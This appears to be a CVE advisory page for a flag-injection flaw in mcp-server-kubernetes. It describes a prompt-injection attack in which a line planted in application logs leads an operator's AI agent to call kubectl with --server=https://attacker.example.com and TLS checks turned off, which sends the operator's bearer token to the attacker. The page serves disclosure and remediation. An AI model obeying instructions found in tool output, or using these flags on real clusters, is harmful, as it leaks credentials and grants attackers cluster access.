CVE-2026-47250 mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration
Attackers can inject kubectl flags to exfiltrate operator bearer tokens, enabling privilege escalation and unauthorized cluster access.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- A user has to click or open something
- Fix
- Available
What is CVE-2026-47250?
CVE-2026-47250 is a medium-severity command injection vulnerability in Flux159 mcp-server-kubernetes, published on 11 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Official description
mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.
Weakness: CWE-88
Which versions are affected by CVE-2026-47250?
2 open source packages ship an affected version, including mcp-server-kubernetes.
| Package | Affected | Fixed in |
|---|---|---|
mcp-server-kubernetes npm | All versions | 3.7.0 |
mcp-server-kubernetes npm | All versions | 3.7.0 |
How do I fix CVE-2026-47250?
Upgrade mcp-server-kubernetes to 3.7.0 or later.
Upgrade, and pass arguments to programs as a list instead of through a shell. More about Command injection.
Is CVE-2026-47250 being exploited?
It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-47250 exists.
Sources
Also known as GHSA-6mx4-4h42-r8vh.